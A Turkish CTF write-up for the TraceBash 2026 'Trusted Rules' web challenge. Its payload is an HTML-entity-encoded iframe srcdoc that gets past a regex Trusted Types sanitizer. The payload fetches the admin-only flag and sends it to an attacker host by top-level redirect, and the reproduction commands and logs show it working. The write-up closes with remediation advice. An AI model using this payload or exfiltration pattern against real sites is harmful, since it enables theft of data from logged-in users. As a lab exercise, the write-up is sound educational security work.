TraceBash 2026 — Trusted Rules Çözümü

Bir Flask not uygulamasında Trusted Types ve regex sanitizer atlatılıyor: HTML entity ile kodlanmış iframe srcdoc, CSP altında satır içi betik çalıştırıp yalnızca admine ait /admin/flag'i okuyor ve onu üst düzey yönlendirme ile sızdırıyor.

6 dk okuma
ibrahimsql
1.016 kelime

TraceBash 2026 — Trusted Rules

"Trusted Rules" (Web), notunuzu innerHTML üzerinden Trusted Types etrafına kurulu bir Content Security Policy altında yansıtan küçük bir Flask not uygulaması. Bir admin bot httpOnly oturum çerezi tutuyor ve gönderdiğiniz herhangi bir not URL'sini inceleyecek. Bayrak /admin/flag'de duruyor ve yalnızca o çerezle korunuyor.

Ön kabul, Trusted Types ("tarayıcının kendi güven çerçevesi") ve sanitize eden bir politika sayesinde yansıtmanın güvenli olduğudur. Değil: politika, ham metne uygulanan bir regex kara listesidir ve iframe srcdoc ne bir Trusted Types sink'idir ne de kara liste tarafından denetlenir. Betik etiketlerini HTML entity olarak kodlamak filtreleri atlar; tarayıcı da bunları taze bir same-origin dokümanda gerçek bir satır içi betiğe çözer.

  • Etkinlik: TraceBash CTF 2026
  • Kategori: Web
  • Bayrak biçimi: TBCTF{...}

1. Uygulama

Tüm backend tek dosya. İlginç kısımlar:

Python
@app.route('/admin/flag')
def admin_flag():
    if request.cookies.get('admin_session') == os.environ.get('ADMIN_TOKEN'):
        return FLAG
    return "Forbidden", 403
 
@app.route('/view')
def view():
    rule = request.args.get('rule', 'Default Note')
    return render_template('view.html', rule=rule)
 
@app.route('/report', methods=['GET', 'POST'])
def report():
    ...
    url = request.form.get('url')
    if not url or not url.startswith('http'):
        return "Invalid URL", 400
    parsed = urlparse(url)
    if parsed.hostname in ['localhost', '127.0.0.1', '0.0.0.0']:
        url = parsed._replace(netloc='web:5000').geturl()
    resp = requests.post(os.environ.get('BOT_URL'), json={'url': url}, timeout=5)

/view, saldırgan denetimli rule ile view.html render ediyor. /report bir URL'yi bota iletirken localhost/127.0.0.1/0.0.0.0'ı web:5000'e yeniden yazıyor, böylece botu kolayca loopback'teki kendi dinleyicinize yönlendiremiyorsunuz.

Bot yalnızca uygulamayı hedefleyen URL'leri kabul eder, sonra oturum çereziyle ziyaret eder:

JavaScript
const parsed = new URL(url);
if (parsed.protocol !== 'http:' ||
    parsed.hostname !== new URL(WEB_HOST).hostname ||   // 'web'
    parsed.port     !== new URL(WEB_HOST).port) {        // '5000'
  return res.status(400).send('Invalid URL: Use http://web:5000');
}
await page.setCookie({ name: 'admin_session', value: process.env.ADMIN_TOKEN,
                       domain: 'web', path: '/', httpOnly: true });
await page.goto(url, { waitUntil: 'networkidle2', timeout: 5000 });

Yani hedef net: botu script çalıştırabileceğimiz bir web:5000 sayfasına indirmek, /admin/flag'i çağırmak (çerez httpOnly olsa bile istekte otomatik olarak gider) ve yanıtı sızdırmak.

2. Yansıtma ve savunmaları

view.html katı bir politika kuruyor ve notu bir Trusted Types politikası üzerinden enjekte ediyor:

HTML
<meta http-equiv="Content-Security-Policy"
      content="default-src 'self'; script-src 'self' 'unsafe-inline';
               require-trusted-types-for 'script';">
...
<script>
  let policy;
  if (window.trustedTypes && trustedTypes.createPolicy) {
    policy = trustedTypes.createPolicy('notePolicy', {
      createHTML: (string) => {
        let safe = string;
        safe = safe.replace(/<\/?script>/ig, '');
        safe = safe.replace(/javascript:/ig, '');
        safe = safe.replace(/on[a-z]+\s*=/ig, '');
        return safe;
      }
    });
  }
  const userNote = new URLSearchParams(location.search).get('rule') || 'No note specified.';
  document.getElementById('note-content').innerHTML =
      policy ? policy.createHTML(userNote) : userNote;
</script>

Burada üst üste dört savunma var ve her biri tek başına yetersiz:

  1. require-trusted-types-for 'script' innerHTML sink'ini bir TrustedHTML almaya zorlar. Kod, notu policy.createHTML ile sararak uyar, sink kabul eder.
  2. Politika kara listesi ham metinden </?script>, javascript: ve on…= öğelerini kaldırır — ama bu bir ayrıştırıcı değil, kaynak üzerinde düz bir regex'tir.
  3. script-src 'self' 'unsafe-inline' — dikkat: 'unsafe-inline' var ve sonunda satır içi çalıştırmayı mümkün kılan da bu.
  4. default-src 'self' — açık bir connect-src yok, dolayısıyla harici bir konağa fetch/XHR/img 'self'e düşer ve bloklanır.

Tuzak, innerHTML artı <script> kırpımının çalıştırma olmadığını sanmaktır. Doğru: innerHTML ile eklenen <script> hiç çalışmaz — ama bu sanitizer'ın değil, HTML fragment ayrıştırıcısının bir özelliğidir ve her vektör için geçerli değildir.

3. Atlatma: iframe srcdoc

<iframe srcdoc="..."> ne bir Trusted Types sink'idir ne de kara listede geçer. srcdoc değeri eksiksiz yeni bir doküman olarak ayrıştırılır ve — çerçeve srcdoc olduğu için — o doküman gömülü sayfanın origin'ini ve CSP'sini miras alır. CSP zaten 'unsafe-inline' içerdiğinden, srcdoc içindeki bir <script> çalışır.

Kalan tek engel metin filtresidir. <script>, </script>, javascript: ve on…= alt dizelerini kaldırır. HTML entity'leri bunu bozar: filtre &lt;script&gt; görür, tarayıcı ise srcdoc özniteliğini ayrıştırırken bunu <script> olarak çözer:

HTML
<iframe srcdoc="&lt;script&gt;
  fetch('/admin/flag')
    .then(r => r.text())
    .then(t => { top.location = 'http://<attacker>/?f=' + encodeURIComponent(t) });
&lt;/script&gt;"></iframe>

Savunmalardan geçiş:

  • require-trusted-types-for → karşılandı; yine politika üzerinden enjekte ediyoruz.
  • <script> kırpımı → ortada literal <script> yok, yalnız entity var.
  • javascript: kırpımı → o token'ı hiç yazmıyoruz.
  • on…= kırpımı → hiç satır içi handler kullanmıyoruz.

Çalıştırma ayrıntıları:

  • srcdoc çerçevesi same-origin'dir, dolayısıyla fetch('/admin/flag') connect-src/default-src 'self' tarafından izin verilen same-origin bir istektir ve httpOnly admin_session çerezi otomatik eklenir. httpOnly, document.cookie'yi durdurur; tarayıcının göndermesini değil.
  • Bayrağı dışarı çıkarmak için: connect-src ve img-src 'self'e düşer, dolayısıyla saldırgan konağa doğrudan fetch/Image() bloklanır. Üst düzey yönlendirme default-src tarafından yönetilmez, bu yüzden top.location = 'http://attacker/?f=' + … bayrağı sızdırır. (top'a erişilebilir çünkü çerçeve same-origin.)

Diğer filtreler hakkında bir not: handler adları entity ile kodlanamasa da, javascript: filtresi de aynı derecede kozmetiktir — java&#115;cript:, HTML ayrıştırıcısı öznitelik değerini çözdüğünde geçerli bir URL'dir. En kısa yol olduğu için srcdoc seçildi.

4. Yeniden üretim

Görev, botun google-chrome-stable (amd64) kurduğu bir docker-compose.yml ile geliyor. arm64 bir makinede o Chrome çalışamaz; bu yüzden web servisini olduğu gibi kurdum ve gerçek botun çerez ile URL kontrollerini taklit eden küçük bir puppeteer-core bot emülatörüyle sistemdeki (arm64) Chromium üzerinden sürdüm.

Web servisini ve sızdırmayı yakalayacak bir dinleyiciyi başlatın:

Bash
docker network create tbnet
docker build -t tbvault-web ./app
docker run -d --name web --network tbnet -p 5050:5000 \
  -e FLAG='TBCTF{fake_flag_for_local_testing}' \
  -e ADMIN_TOKEN='74ac76b0a8b649b3b3ac0212e39dc78b' tbvault-web
docker run -d --name exfil --network tbnet python:3.9-slim python -m http.server 8000

Botu, rule içine URL-kodlanmış payload ile sürün:

Bash
JS="fetch('/admin/flag').then(r=>r.text()).then(t=>{top.location='http://exfil:8000/?f='+encodeURIComponent(t)})"
PAY="<iframe srcdoc=\"&lt;script&gt;${JS}&lt;/script&gt;\"></iframe>"
ENC=$(python3 -c "import urllib.parse,sys;print(urllib.parse.quote(sys.argv[1]))" "$PAY")
# bot emülatörü: 'web' alan adına admin_session kurar, http://web:5000/view?rule=$ENC adresine gider

Emüle edilen botun istek günlüğü ve dinleyicinin erişim günlüğü tüm zinciri doğruluyor:

Text
=== REQUESTS ===
http://web:5000/view?rule=...%3Ciframe%20srcdoc...
http://web:5000/static/style.css
http://web:5000/admin/flag
http://exfil:8000/?f=TBCTF%7Bfake_flag_for_local_testing%7D
 
--- exfil erişim günlüğü ---
172.18.0.4 - - "GET /?f=TBCTF%7Bfake_flag_for_local_testing%7D HTTP/1.1" 200 -

/admin/flag admin çereziyle çekiliyor ve çözülmüş bayrak dinleyiciye ulaşıyor. Placeholder yerel bir değerdir; gerçek dağıtımda aynı payload TBCTF{...} döndürür.

5. Düzeltme

  • Saldırgan girdisini DOM'a hiç yansıtmayın; yansıtmak zorundaysanız regex ile değil, gerçek bir HTML ayrıştırıcısıyla (örn. DOMPurify) sanitize edin. Bir Trusted Types politikası, createHTML'i kadar güçlüdür.
  • Politikayı kilitleyin. trusted-types notePolicy (veya trusted-types 'allow-duplicates' notePolicy) yönergesini ekleyip bilinmeyen politikaların oluşturulmasını engelleyin ve HTML üreten tek yol politika olsun.
  • srcdoc, iframe ve event handler'ları birinci sınıf XSS sink'leri sayın. Çerçeveleri frame-src 'none' ile kapatın ve açık, kısıtlayıcı bir connect-src/img-src tutun.
  • httpOnly'nin bir CSRF/origin savunması olmadığını unutmayın. Sayfanın kendi JavaScript'inin same-origin çerez-korumalı uç noktaları çağırmasını engellemez.

6. Bayrak

TBCTF{fake_flag_for_local_testing}   # yerel çalıştırma; gerçek bayrak TBCTF{...}
---
Bu yazıyı paylaş:
TwitterLinkedInFacebook

Ne düşünüyorsun?

Tepki bırakarak geri bildirim ver

İlgili Yazılar